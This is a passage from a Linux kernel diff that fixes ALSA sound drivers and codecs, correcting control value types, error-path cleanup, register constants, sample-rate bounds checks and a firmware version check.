pci_dev *pci, const struct pci_device_id *id) { static int dev; struct gameport *gameport; + int ret; if (dev >= SNDRV_CARDS) return -ENODEV; + if (!enable[dev]) { - dev++; - return -ENOENT; + ret = -ENOENT; + goto inc_dev; } - if (!joystick_port[dev++]) - return 0; + if (!joystick_port[dev]) { + ret = 0; + goto inc_dev; + } gameport = gameport_allocate_port(); - if (!gameport) - return -ENOMEM; + if (!gameport) { + ret = -ENOMEM; + goto inc_dev; + } if (!request_region(joystick_port[dev], 8, "Riptide gameport")) { snd_printk(KERN_WARNING "Riptide: cannot grab gameport 0x%x\n", joystick_port[dev]); gameport_free_port(gameport); - return -EBUSY; + ret = -EBUSY; + goto inc_dev; } gameport->io = joystick_port[dev]; gameport_register_port(gameport); pci_set_drvdata(pci, gameport); - return 0; + + ret = 0; +inc_dev: + dev++; + return ret; } static void snd_riptide_joystick_remove(struct pci_dev *pci) diff --git a/sound/pci/rme96.c b/sound/pci/rme96.c index 5fb88ac82aa93..4fdb234d74b40 100644 --- a/sound/pci/rme96.c +++ b/sound/pci/rme96.c @@ -703,10 +703,11 @@ snd_rme96_playback_setrate(struct rme96 *rme96, { /* change to/from double-speed: reset the DAC (if available) */ snd_rme96_reset_dac(rme96); + return 1; /* need to restore volume */ } else { writel(rme96->wcreg, rme96->iobase + RME96_IO_CONTROL_REGISTER); + return 0; } - return 0; } static int @@ -944,6 +945,7 @@ snd_rme96_playback_hw_params(struct snd_pcm_substream *substream, struct rme96 *rme96 = snd_pcm_substream_chip(substream); struct snd_pcm_runtime *runtime = substream->runtime; int err, rate, dummy; + bool apply_dac_volume = false; runtime->dma_area = (void __force *)(rme96->iobase + RME96_IO_PLAY_BUFFER); @@ -957,24 +959,26 @@ snd_rme96_playback_hw_params(struct snd_pcm_substream *substream, { /* slave clock */ if ((int)params_rate(params) != rate) { - spin_unlock_irq(&rme96->lock); - return -EIO; - } - } else if ((err = snd_rme96_playback_setrate(rme96, params_rate(params))) < 0) { - spin_unlock_irq(&rme96->lock); - return err; - } - if ((err = snd_rme96_playback_setformat(rme96, params_format(params))) < 0) { - spin_unlock_irq(&rme96->lock); - return err; + err = -EIO; + goto error; + } + } else { + err = snd_rme96_playback_setrate(rme96, params_rate(params)); + if (err < 0) + goto error; + apply_dac_volume = err > 0; /* need to restore volume later? */ } + + err = snd_rme96_playback_setformat(rme96, params_format(params)); + if (err < 0) + goto error; snd_rme96_setframelog(rme96, params_channels(params), 1); if (rme96->capture_periodsize != 0) { if (params_period_size(params) << rme96->playback_frlog != rme96->capture_periodsize) { - spin_unlock_irq(&rme96->lock); - return -EBUSY; + err = -EBUSY; + goto error; } } rme96->playback_periodsize = @@ -985,9 +989,16 @@ snd_rme96_playback_hw_params(struct snd_pcm_substream *substream, rme96->wcreg &= ~(RME96_WCR_PRO | RME96_WCR_DOLBY | RME96_WCR_EMP); writel(rme96->wcreg |= rme96->wcreg_spdif_stream, rme96->iobase + RME96_IO_CONTROL_REGISTER); } + + err = 0; + error: spin_unlock_irq(&rme96->lock); - - return 0; + if (apply_dac_volume) { + usleep_range(3000, 10000); + snd_rme96_apply_dac_volume(rme96); + } + + return err; } static int diff --git a/sound/pci/rme9652/hdsp.c b/sound/pci/rme9652/hdsp.c index 94084cdb130c4..9a281f45eb9c3 100644 --- a/sound/pci/rme9652/hdsp.c +++ b/sound/pci/rme9652/hdsp.c @@ -2923,7 +2923,7 @@ static int snd_hdsp_get_dds_offset(struct snd_kcontrol *kcontrol, struct snd_ctl { struct hdsp *hdsp = snd_kcontrol_chip(kcontrol); - ucontrol->value.enumerated.item[0] = hdsp_dds_offset(hdsp); + ucontrol->value.integer.value[0] = hdsp_dds_offset(hdsp); return 0; } @@ -2935,7 +2935,7 @@ static int snd_hdsp_put_dds_offset(struct snd_kcontrol *kcontrol, struct snd_ctl if (!snd_hdsp_use_is_exclusive(hdsp)) return -EBUSY; - val = ucontrol->value.enumerated.item[0]; + val = ucontrol->value.integer.value[0]; spin_lock_irq(&hdsp->lock); if (val != hdsp_dds_offset(hdsp)) change = (hdsp_set_dds_offset(hdsp, val) == 0) ? 1 : 0; diff --git a/sound/pci/rme9652/hdspm.c b/sound/pci/rme9652/hdspm.c index 9ea05e956474f..8444098d2a8ed 100644 --- a/sound/pci/rme9652/hdspm.c +++ b/sound/pci/rme9652/hdspm.c @@ -1423,6 +1423,9 @@ static void hdspm_set_dds_value(struct hdspm *hdspm, int rate) { u64 n; + if (snd_BUG_ON(rate <= 0)) + return; + if (rate >= 112000) rate /= 4; else if (rate >= 56000) @@ -2045,6 +2048,8 @@ static int hdspm_get_system_sample_rate(struct hdspm *hdspm) } else { /* slave mode, return external sample rate */ rate = hdspm_external_sample_rate(hdspm); + if (!rate) + rate = hdspm->system_sample_rate; } } @@ -2090,8 +2095,11 @@ static int snd_hdspm_put_system_sample_rate(struct snd_kcontrol *kcontrol, ucontrol) { struct hdspm *hdspm = snd_kcontrol_chip(kcontrol); + int rate = ucontrol->value.integer.value[0]; - hdspm_set_dds_value(hdspm, ucontrol->value.enumerated.item[0]); + if (rate < 27000 || rate > 207000) + return -EINVAL; + hdspm_set_dds_value(hdspm, ucontrol->value.integer.value[0]); return 0; } @@ -4199,7 +4207,7 @@ static int snd_hdspm_get_tco_word_term(struct snd_kcontrol *kcontrol, { struct hdspm *hdspm = snd_kcontrol_chip(kcontrol); - ucontrol->value.enumerated.item[0] = hdspm->tco->term; + ucontrol->value.integer.value[0] = hdspm->tco->term; return 0; } @@ -4210,8 +4218,8 @@ static int snd_hdspm_put_tco_word_term(struct snd_kcontrol *kcontrol, { struct hdspm *hdspm = snd_kcontrol_chip(kcontrol); - if (hdspm->tco->term != ucontrol->value.enumerated.item[0]) { - hdspm->tco->term = ucontrol->value.enumerated.item[0]; + if (hdspm->tco->term != ucontrol->value.integer.value[0]) { + hdspm->tco->term = ucontrol->value.integer.value[0]; hdspm_tco_write(hdspm); @@ -5789,6 +5797,9 @@ static int snd_hdspm_playback_open(struct snd_pcm_substream *substream) snd_pcm_hw_constraint_minmax(runtime, SNDRV_PCM_HW_PARAM_PERIOD_SIZE, 64, 8192); + snd_pcm_hw_constraint_minmax(runtime, + SNDRV_PCM_HW_PARAM_PERIODS, + 2, 2); break; } @@ -5863,6 +5874,9 @@ static int snd_hdspm_capture_open(struct snd_pcm_substream *substream) snd_pcm_hw_constraint_minmax(runtime, SNDRV_PCM_HW_PARAM_PERIOD_SIZE, 64, 8192); + snd_pcm_hw_constraint_minmax(runtime, + SNDRV_PCM_HW_PARAM_PERIODS, + 2, 2); break; } diff --git a/sound/soc/atmel/atmel_ssc_dai.c b/sound/soc/atmel/atmel_ssc_dai.c index f3fdfa07fcb9f..c5f79591e68b0 100644 --- a/sound/soc/atmel/atmel_ssc_dai.c +++ b/sound/soc/atmel/atmel_ssc_dai.c @@ -331,7 +331,6 @@ static int atmel_ssc_hw_params(struct snd_pcm_substream *substream, struct atmel_pcm_dma_params *dma_params; int dir, channels, bits; u32 tfmr, rfmr, tcmr, rcmr; - int start_event; int ret; /* @@ -450,19 +449,10 @@ static int atmel_ssc_hw_params(struct snd_pcm_substream *substream, * The SSC transmit clock is obtained from the BCLK signal on * on the TK line, and the SSC receive clock is * generated from the transmit clock. - * - * For single channel data, one sample is transferred - * on the falling edge of the LRC clock. - * For two channel data, one sample is - * transferred on both edges of the LRC clock. */ - start_event = ((channels == 1) - ? SSC_START_FALLING_RF - : SSC_START_EDGE_RF); - rcmr = SSC_BF(RCMR_PERIOD, 0) | SSC_BF(RCMR_STTDLY, START_DELAY) - | SSC_BF(RCMR_START, start_event) + | SSC_BF(RCMR_START, SSC_START_FALLING_RF) | SSC_BF(RCMR_CKI, SSC_CKI_RISING) | SSC_BF(RCMR_CKO, SSC_CKO_NONE) | SSC_BF(RCMR_CKS, SSC_CKS_CLOCK); @@ -470,14 +460,14 @@ static int atmel_ssc_hw_params(struct snd_pcm_substream *substream, rfmr = SSC_BF(RFMR_FSEDGE, SSC_FSEDGE_POSITIVE) | SSC_BF(RFMR_FSOS, SSC_FSOS_NONE) | SSC_BF(RFMR_FSLEN, 0) - | SSC_BF(RFMR_DATNB, 0) + | SSC_BF(RFMR_DATNB, (channels - 1)) | SSC_BIT(RFMR_MSBF) | SSC_BF(RFMR_LOOP, 0) | SSC_BF(RFMR_DATLEN, (bits - 1)); tcmr = SSC_BF(TCMR_PERIOD, 0) | SSC_BF(TCMR_STTDLY, START_DELAY) - | SSC_BF(TCMR_START, start_event) + | SSC_BF(TCMR_START, SSC_START_FALLING_RF) | SSC_BF(TCMR_CKI, SSC_CKI_FALLING) | SSC_BF(TCMR_CKO, SSC_CKO_NONE) | SSC_BF(TCMR_CKS, SSC_CKS_PIN); @@ -486,7 +476,7 @@ static int atmel_ssc_hw_params(struct snd_pcm_substream *substream, | SSC_BF(TFMR_FSDEN, 0) | SSC_BF(TFMR_FSOS, SSC_FSOS_NONE) | SSC_BF(TFMR_FSLEN, 0) - | SSC_BF(TFMR_DATNB, 0) + | SSC_BF(TFMR_DATNB, (channels - 1)) | SSC_BIT(TFMR_MSBF) | SSC_BF(TFMR_DATDEF, 0) | SSC_BF(TFMR_DATLEN, (bits - 1)); diff --git a/sound/soc/codecs/adav80x.c b/sound/soc/codecs/adav80x.c index 3c839cc4e00ec..0ef2b2a33ee5d 100644 --- a/sound/soc/codecs/adav80x.c +++ b/sound/soc/codecs/adav80x.c @@ -307,7 +307,7 @@ static int adav80x_put_deemph(struct snd_kcontrol *kcontrol, { struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct adav80x *adav80x = snd_soc_codec_get_drvdata(codec); - unsigned int deemph = ucontrol->value.enumerated.item[0]; + unsigned int deemph = ucontrol->value.integer.value[0]; if (deemph > 1) return -EINVAL; @@ -323,7 +323,7 @@ static int adav80x_get_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct adav80x *adav80x = snd_soc_codec_get_drvdata(codec); - ucontrol->value.enumerated.item[0] = adav80x->deemph; + ucontrol->value.integer.value[0] = adav80x->deemph; return 0; }; diff --git a/sound/soc/codecs/ak4641.c b/sound/soc/codecs/ak4641.c index 5f9af1fb76e86..68379c14720b0 100644 --- a/sound/soc/codecs/ak4641.c +++ b/sound/soc/codecs/ak4641.c @@ -74,7 +74,7 @@ static int ak4641_put_deemph(struct snd_kcontrol *kcontrol, { struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct ak4641_priv *ak4641 = snd_soc_codec_get_drvdata(codec); - int deemph = ucontrol->value.enumerated.item[0]; + int deemph = ucontrol->value.integer.value[0]; if (deemph > 1) return -EINVAL; @@ -90,7 +90,7 @@ static int ak4641_get_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct ak4641_priv *ak4641 = snd_soc_codec_get_drvdata(codec); - ucontrol->value.enumerated.item[0] = ak4641->deemph; + ucontrol->value.integer.value[0] = ak4641->deemph; return 0; }; diff --git a/sound/soc/codecs/arizona.c b/sound/soc/codecs/arizona.c index fdba65eb28677..6bb67ccbda5e8 100644 --- a/sound/soc/codecs/arizona.c +++ b/sound/soc/codecs/arizona.c @@ -3323,7 +3323,7 @@ static int arizona_hw_params(struct snd_pcm_substream *substream, bool reconfig; unsigned int aif_tx_state = 0, aif_rx_state = 0; - if (params_rate(params) % 8000) + if (params_rate(params) % 4000) rates = &arizona_44k1_bclk_rates[0]; else rates = &arizona_48k_bclk_rates[0]; diff --git a/sound/soc/codecs/cs4271.c b/sound/soc/codecs/cs4271.c index 03036b326732d..ffa4a2d8a4bcc 100644 --- a/sound/soc/codecs/cs4271.c +++ b/sound/soc/codecs/cs4271.c @@ -267,7 +267,7 @@ static int cs4271_get_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct cs4271_private *cs4271 = snd_soc_codec_get_drvdata(codec); - ucontrol->value.enumerated.item[0] = cs4271->deemph; + ucontrol->value.integer.value[0] = cs4271->deemph; return 0; } @@ -277,7 +277,7 @@ static int cs4271_put_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct cs4271_private *cs4271 = snd_soc_codec_get_drvdata(codec); - cs4271->deemph = ucontrol->value.enumerated.item[0]; + cs4271->deemph = ucontrol->value.integer.value[0]; return cs4271_set_deemph(codec); } diff --git a/sound/soc/codecs/max98090.c b/sound/soc/codecs/max98090.c index 9b7746c9546f0..be8de7ce1cda0 100644 --- a/sound/soc/codecs/max98090.c +++ b/sound/soc/codecs/max98090.c @@ -1364,8 +1364,8 @@ static const struct snd_soc_dapm_route max98090_dapm_routes[] = { {"STENL Mux", "Sidetone Left", "DMICL"}, {"STENR Mux", "Sidetone Right", "ADCR"}, {"STENR Mux", "Sidetone Right", "DMICR"}, - {"DACL", "NULL", "STENL Mux"}, - {"DACR", "NULL", "STENL Mux"}, + {"DACL", NULL, "STENL Mux"}, + {"DACR", NULL, "STENL Mux"}, {"AIFINL", NULL, "SHDN"}, {"AIFINR", NULL, "SHDN"}, @@ -2234,7 +2234,7 @@ static int max98090_probe(struct snd_soc_codec *codec) /* Register for interrupts */ dev_dbg(codec->dev, "irq = %d\n", max98090->irq); - ret = request_threaded_irq(max98090->irq, NULL, + ret = devm_request_threaded_irq(codec->dev, max98090->irq, NULL, max98090_interrupt, IRQF_TRIGGER_FALLING | IRQF_ONESHOT, "max98090_interrupt", codec); if (ret < 0) { diff --git a/sound/soc/codecs/mc13783.c b/sound/soc/codecs/mc13783.c index 8a8d9364e87f0..d0fc21559a853 100644 --- a/sound/soc/codecs/mc13783.c +++ b/sound/soc/codecs/mc13783.c @@ -604,14 +604,14 @@ static int mc13783_probe(struct snd_soc_codec *codec) AUDIO_SSI_SEL, 0); else mc13xxx_reg_rmw(priv->mc13xxx, MC13783_AUDIO_CODEC, - 0, AUDIO_SSI_SEL); + AUDIO_SSI_SEL, AUDIO_SSI_SEL); if (priv->dac_ssi_port == MC13783_SSI1_PORT) mc13xxx_reg_rmw(priv->mc13xxx, MC13783_AUDIO_DAC, AUDIO_SSI_SEL, 0); else mc13xxx_reg_rmw(priv->mc13xxx, MC13783_AUDIO_DAC, - 0, AUDIO_SSI_SEL); + AUDIO_SSI_SEL, AUDIO_SSI_SEL); mc13xxx_unlock(priv->mc13xxx); diff --git a/sound/soc/codecs/sgtl5000.c b/sound/soc/codecs/sgtl5000.c index ea479388fb5c5..665e0ddc2ef05 100644 --- a/sound/soc/codecs/sgtl5000.c +++ b/sound/soc/codecs/sgtl5000.c @@ -1111,13 +1111,7 @@ static int sgtl5000_set_power_regs(struct snd_soc_codec *codec) /* Enable VDDC charge pump */ ana_pwr |= SGTL5000_VDDC_CHRGPMP_POWERUP; } else if (vddio >= 3100 && vdda >= 3100) { - /* - * if vddio and vddd > 3.1v, - * charge pump should be clean before set ana_pwr - */ - snd_soc_update_bits(codec, SGTL5000_CHIP_ANA_POWER, - SGTL5000_VDDC_CHRGPMP_POWERUP, 0); - + ana_pwr &= ~SGTL5000_VDDC_CHRGPMP_POWERUP; /* VDDC use VDDIO rail */ lreg_ctrl |= SGTL5000_VDDC_ASSN_OVRD; lreg_ctrl |= SGTL5000_VDDC_MAN_ASSN_VDDIO << @@ -1242,6 +1236,9 @@ static int sgtl5000_enable_regulators(struct snd_soc_codec *codec) /* wait for all power rails bring up */ udelay(10); + /* Need 8 clocks before I2C accesses */ + udelay(1); + /* read chip information */ reg = snd_soc_read(codec, SGTL5000_CHIP_ID); if (((reg & SGTL5000_PARTID_MASK) >> SGTL5000_PARTID_SHIFT) != @@ -1317,8 +1314,7 @@ static int sgtl5000_probe(struct snd_soc_codec *codec) /* enable small pop, introduce 400ms delay in turning off */ snd_soc_update_bits(codec, SGTL5000_CHIP_REF_CTRL, - SGTL5000_SMALL_POP, - SGTL5000_SMALL_POP); + SGTL5000_SMALL_POP, 1); /* disable short cut detector */ snd_soc_write(codec, SGTL5000_CHIP_SHORT_CTRL, 0); diff --git a/sound/soc/codecs/sgtl5000.h b/sound/soc/codecs/sgtl5000.h index d3a68bbfea007..0bd6e1cd82002 100644 --- a/sound/soc/codecs/sgtl5000.h +++ b/sound/soc/codecs/sgtl5000.h @@ -275,7 +275,7 @@ #define SGTL5000_BIAS_CTRL_MASK 0x000e #define SGTL5000_BIAS_CTRL_SHIFT 1 #define SGTL5000_BIAS_CTRL_WIDTH 3 -#define SGTL5000_SMALL_POP 0x0001 +#define SGTL5000_SMALL_POP 0 /* * SGTL5000_CHIP_MIC_CTRL diff --git a/sound/soc/codecs/sigmadsp.c b/sound/soc/codecs/sigmadsp.c index 4068f24912322..bb3878c9625fc 100644 --- a/sound/soc/codecs/sigmadsp.c +++ b/sound/soc/codecs/sigmadsp.c @@ -176,6 +176,13 @@ static int _process_sigma_firmware(struct device *dev, goto done; } + if (ssfw_head->version != 1) { + dev_err(dev, + "Failed to load firmware: Invalid version %d. Supported firmware versions: 1\n", + ssfw_head->version); + goto done; + } + crc = crc32(0, fw->data + sizeof(*ssfw_head), fw->size - sizeof(*ssfw_head)); pr_debug("%s: crc=%x\n", __func__, crc); diff --git a/sound/soc/codecs/tas5086.c b/sound/soc/codecs/tas5086.c index d447c4aa1d5eb..675a8fd0deed3 100644 --- a/sound/soc/codecs/tas5086.c +++ b/sound/soc/codecs/tas5086.c @@ -173,7 +173,7 @@ static int tas5086_get_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct tas5086_private *priv = snd_soc_codec_get_drvdata(codec); - ucontrol->value.enumerated.item[0] = priv->deemph; + ucontrol->value.integer.value[0] = priv->deemph; return 0; } @@ -184,7 +184,7 @@ static int tas5086_put_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct tas5086_private *priv = snd_soc_codec_get_drvdata(codec); - priv->deemph = ucontrol->value.enumerated.item[0]; + priv->deemph = ucontrol->value.integer.value[0]; return tas5086_set_deemph(codec); } diff --git a/sound/soc/codecs/wm2000.c b/sound/soc/codecs/wm2000.c index 7fefd766b582b..124fb538dfa9c 100644 --- a/sound/soc/codecs/wm2000.c +++ b/sound/soc/codecs/wm2000.c @@ -605,7 +605,7 @@ static int wm2000_anc_mode_get(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm2000_priv *wm2000 = dev_get_drvdata(codec->dev); - ucontrol->value.enumerated.item[0] = wm2000->anc_active; + ucontrol->value.integer.value[0] = wm2000->anc_active; return 0; } @@ -615,7 +615,7 @@ static int wm2000_anc_mode_put(struct snd_kcontrol *kcontrol, { struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm2000_priv *wm2000 = dev_get_drvdata(codec->dev); - int anc_active = ucontrol->value.enumerated.item[0]; + int anc_active = ucontrol->value.integer.value[0]; int ret; if (anc_active > 1) @@ -638,7 +638,7 @@ static int wm2000_speaker_get(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm2000_priv *wm2000 = dev_get_drvdata(codec->dev); - ucontrol->value.enumerated.item[0] = wm2000->spk_ena; + ucontrol->value.integer.value[0] = wm2000->spk_ena; return 0; } @@ -648,7 +648,7 @@ static int wm2000_speaker_put(struct snd_kcontrol *kcontrol, { struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm2000_priv *wm2000 = dev_get_drvdata(codec->dev); - int val = ucontrol->value.enumerated.item[0]; + int val = ucontrol->value.integer.value[0]; int ret; if (val > 1) diff --git a/sound/soc/codecs/wm8731.c b/sound/soc/codecs/wm8731.c index 10d492b6a5b40..944b09b1f4810 100644 --- a/sound/soc/codecs/wm8731.c +++ b/sound/soc/codecs/wm8731.c @@ -121,7 +121,7 @@ static int wm8731_get_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8731_priv *wm8731 = snd_soc_codec_get_drvdata(codec); - ucontrol->value.enumerated.item[0] = wm8731->deemph; + ucontrol->value.integer.value[0] = wm8731->deemph; return 0; } @@ -131,7 +131,7 @@ static int wm8731_put_deemph(struct snd_kcontrol *kcontrol, { struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8731_priv *wm8731 = snd_soc_codec_get_drvdata(codec); - int deemph = ucontrol->value.enumerated.item[0]; + int deemph = ucontrol->value.integer.value[0]; int ret = 0; if (deemph > 1) diff --git a/sound/soc/codecs/wm8737.c b/sound/soc/codecs/wm8737.c index 2f167a8ca01b5..62bacb8536e6e 100644 --- a/sound/soc/codecs/wm8737.c +++ b/sound/soc/codecs/wm8737.c @@ -494,7 +494,8 @@ static int wm8737_set_bias_level(struct snd_soc_codec *codec, /* Fast VMID ramp at 2*2.5k */ snd_soc_update_bits(codec, WM8737_MISC_BIAS_CONTROL, - WM8737_VMIDSEL_MASK, 0x4); + WM8737_VMIDSEL_MASK, + 2 << WM8737_VMIDSEL_SHIFT); /* Bring VMID up */ snd_soc_update_bits(codec, WM8737_POWER_MANAGEMENT, @@ -508,7 +509,8 @@ static int wm8737_set_bias_level(struct snd_soc_codec *codec, /* VMID at 2*300k */ snd_soc_update_bits(codec, WM8737_MISC_BIAS_CONTROL, - WM8737_VMIDSEL_MASK, 2); + WM8737_VMIDSEL_MASK, + 1 << WM8737_VMIDSEL_SHIFT); break; diff --git a/sound/soc/codecs/wm8903.c b/sound/soc/codecs/wm8903.c index 9d88437cdcd1d..79f4a217b5d58 100644 --- a/sound/soc/codecs/wm8903.c +++ b/sound/soc/codecs/wm8903.c @@ -446,7 +446,7 @@ static int wm8903_get_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8903_priv *wm8903 = snd_soc_codec_get_drvdata(codec); - ucontrol->value.enumerated.item[0] = wm8903->deemph; + ucontrol->value.integer.value[0] = wm8903->deemph; return 0; } @@ -456,7 +456,7 @@ static int wm8903_put_deemph(struct snd_kcontrol *kcontrol, { struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8903_priv *wm8903 = snd_soc_codec_get_drvdata(codec); - int deemph = ucontrol->value.enumerated.item[0]; + int deemph = ucontrol->value.integer.value[0]; int ret = 0; if (deemph > 1) diff --git a/sound/soc/codecs/wm8903.h b/sound/soc/codecs/wm8903.h index db949311c0f20..0bb4a647755d8 100644 --- a/sound/soc/codecs/wm8903.h +++ b/sound/soc/codecs/wm8903.h @@ -172,7 +172,7 @@ extern int wm8903_mic_detect(struct snd_soc_codec *codec, #define WM8903_VMID_BUF_ENA_WIDTH 1 /* VMID_BUF_ENA */ #define WM8903_VMID_RES_50K 2 -#define WM8903_VMID_RES_250K 3 +#define WM8903_VMID_RES_250K 4 #define WM8903_VMID_RES_5K 6 /* diff --git a/sound/soc/codecs/wm8904.c b/sound/soc/codecs/wm8904.c index af62f843a6913..c68d541cd3500 100644 --- a/sound/soc/codecs/wm8904.c +++ b/sound/soc/codecs/wm8904.c @@ -523,7 +523,7 @@ static int wm8904_get_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8904_priv *wm8904 = snd_soc_codec_get_drvdata(codec); - ucontrol->value.enumerated.item[0] = wm8904->deemph; + ucontrol->value.integer.value[0] = wm8904->deemph; return 0; } @@ -532,7 +532,7 @@ static int wm8904_put_deemph(struct snd_kcontrol *kcontrol, { struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8904_priv *wm8904 = snd_soc_codec_get_drvdata(codec); - int deemph = ucontrol->value.enumerated.item[0]; + int deemph = ucontrol->value.integer.value[0]; if (deemph > 1) return -EINVAL; diff --git a/sound/soc/codecs/wm8955.c b/sound/soc/codecs/wm8955.c index 82c8ba9757202..475fc24c8ff63 100644 --- a/sound/soc/codecs/wm8955.c +++ b/sound/soc/codecs/wm8955.c @@ -298,7 +298,7 @@ static int wm8955_configure_clocking(struct snd_soc_codec *codec) snd_soc_update_bits(codec, WM8955_PLL_CONTROL_2, WM8955_K_17_9_MASK, (pll.k >> 9) & WM8955_K_17_9_MASK); - snd_soc_update_bits(codec, WM8955_PLL_CONTROL_2, + snd_soc_update_bits(codec, WM8955_PLL_CONTROL_3, WM8955_K_8_0_MASK, pll.k & WM8955_K_8_0_MASK); if (pll.k) @@ -393,7 +393,7 @@ static int wm8955_get_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8955_priv *wm8955 = snd_soc_codec_get_drvdata(codec); - ucontrol->value.enumerated.item[0] = wm8955->deemph; + ucontrol->value.integer.value[0] = wm8955->deemph; return 0; } @@ -402,7 +402,7 @@ static int wm8955_put_deemph(struct snd_kcontrol *kcontrol, { struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8955_priv *wm8955 = snd_soc_codec_get_drvdata(codec); - int deemph = ucontrol->value.enumerated.item[0]; + int deemph = ucontrol->value.integer.value[0]; if (deemph > 1) return -EINVAL; diff --git a/sound/soc/codecs/wm8958-dsp2.c b/sound/soc/codecs/wm8958-dsp2.c index 754f88e1fdab2..4892966fc1b8c 100644 --- a/sound/soc/codecs/wm8958-dsp2.c +++ b/sound/soc/codecs/wm8958-dsp2.c @@ -459,7 +459,7 @@ static int wm8958_put_mbc_enum(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8994_priv *wm8994 = snd_soc_codec_get_drvdata(codec); struct wm8994 *control = wm8994->wm8994; - int value = ucontrol->value.integer.value[0]; + int value = ucontrol->value.enumerated.item[0]; int reg; /* Don't allow on the fly reconfiguration */ @@ -549,7 +549,7 @@ static int wm8958_put_vss_enum(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8994_priv *wm8994 = snd_soc_codec_get_drvdata(codec); struct wm8994 *control = wm8994->wm8994; - int value = ucontrol->value.integer.value[0]; + int value = ucontrol->value.enumerated.item[0]; int reg; /* Don't allow on the fly reconfiguration */ @@ -582,7 +582,7 @@ static int wm8958_put_vss_hpf_enum(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8994_priv *wm8994 = snd_soc_codec_get_drvdata(codec); struct wm8994 *control = wm8994->wm8994; - int value = ucontrol->value.integer.value[0]; + int value = ucontrol->value.enumerated.item[0]; int reg; /* Don't allow on the fly reconfiguration */ @@ -749,7 +749,7 @@ static int wm8958_put_enh_eq_enum(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8994_priv *wm8994 = snd_soc_codec_get_drvdata(codec); struct wm8994 *control = wm8994->wm8994; - int value = ucontrol->value.integer.value[0]; + int value = ucontrol->value.enumerated.item[0]; int reg; /* Don't allow on the fly reconfiguration */ diff --git a/sound/soc/codecs/wm8960.c b/sound/soc/codecs/wm8960.c index 5e5af898f7f83..ae5bb95df8623 100644 --- a/sound/soc/codecs/wm8960.c +++ b/sound/soc/codecs/wm8960.c @@ -181,7 +181,7 @@ static int wm8960_get_deemph(struct snd_kcontrol *kcontrol, struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8960_priv *wm8960 = snd_soc_codec_get_drvdata(codec); - ucontrol->value.enumerated.item[0] = wm8960->deemph; + ucontrol->value.integer.value[0] = wm8960->deemph; return 0; } @@ -190,7 +190,7 @@ static int wm8960_put_deemph(struct snd_kcontrol *kcontrol, { struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); struct wm8960_priv *wm8960 = snd_soc_codec_get_drvdata(codec); - int deemph = ucontrol->value.enumerated.item[0]; + int deemph = ucontrol->value.integer.value[0]; if (deemph > 1) return -EINVAL; @@ -242,7 +242,7 @@ SOC_SINGLE("PCM Playback -6dB Switch", WM8960_DACCTL1, 7, 1, 0), SOC_ENUM("ADC Polarity", wm8960_enum[0]), SOC_SINGLE("ADC High Pass Filter Switch", WM8960_DACCTL1, 0, 1, 0), -SOC_ENUM("DAC Polarity", wm8960_enum[2]), +SOC_ENUM("DAC Polarity", wm8960_enum[1]), SOC_SINGLE_BOOL_EXT("DAC Deemphasis Switch", 0, wm8960_get_deemph, wm8960_put_deemph), @@ -392,7 +392,7 @@ static const struct snd_soc_dapm_route audio_paths[] = { { "Right Input Mixer", "Boost Switch", "Right Boost Mixer", }, { "Right Input Mixer", NULL, "RINPUT1", }, /* Really Boost Switch */ { "Right Input Mixer", NULL, "RINPUT2" }, - { "Right Input Mixer", NULL, "LINPUT3" }, + { "Right Input Mixer", NULL, "RINPUT3" }, { "Left ADC", NULL, "Left Input Mixer" }, { "Right ADC", NULL, "Right Input Mixer" }, @@ -555,7 +555,7 @@ static struct { { 22050, 2 }, { 24000, 2 }, { 16000, 3 }, - { 11250, 4 }, + { 11025, 4 }, { 12000, 4 }, { 8000, 5 }, }; diff --git a/sound/soc/codecs/wm8962.c b/sound/soc/codecs/wm8962.c index 1ae1f8bd9c368..305d28dec668b 100644 --- a/sound/soc/codecs/wm8962.c +++ b/sound/soc/codecs/wm8962.c @@ -363,8 +363,8 @@ static struct reg_default wm8962_reg[] = { { 16924, 0x0059 }, /* R16924 - HDBASS_PG_1 */ { 16925, 0x999A }, /* R16925 - HDBASS_PG_0 */ - { 17048, 0x0083 }, /* R17408 - HPF_C_1 */ - { 17049, 0x98AD }, /* R17409 - HPF_C_0 */ + { 17408, 0x0083 }, /* R17408 - HPF_C_1 */ + { 17409, 0x98AD }, /* R17409 - HPF_C_0 */ { 17920, 0x007F }, /* R17920 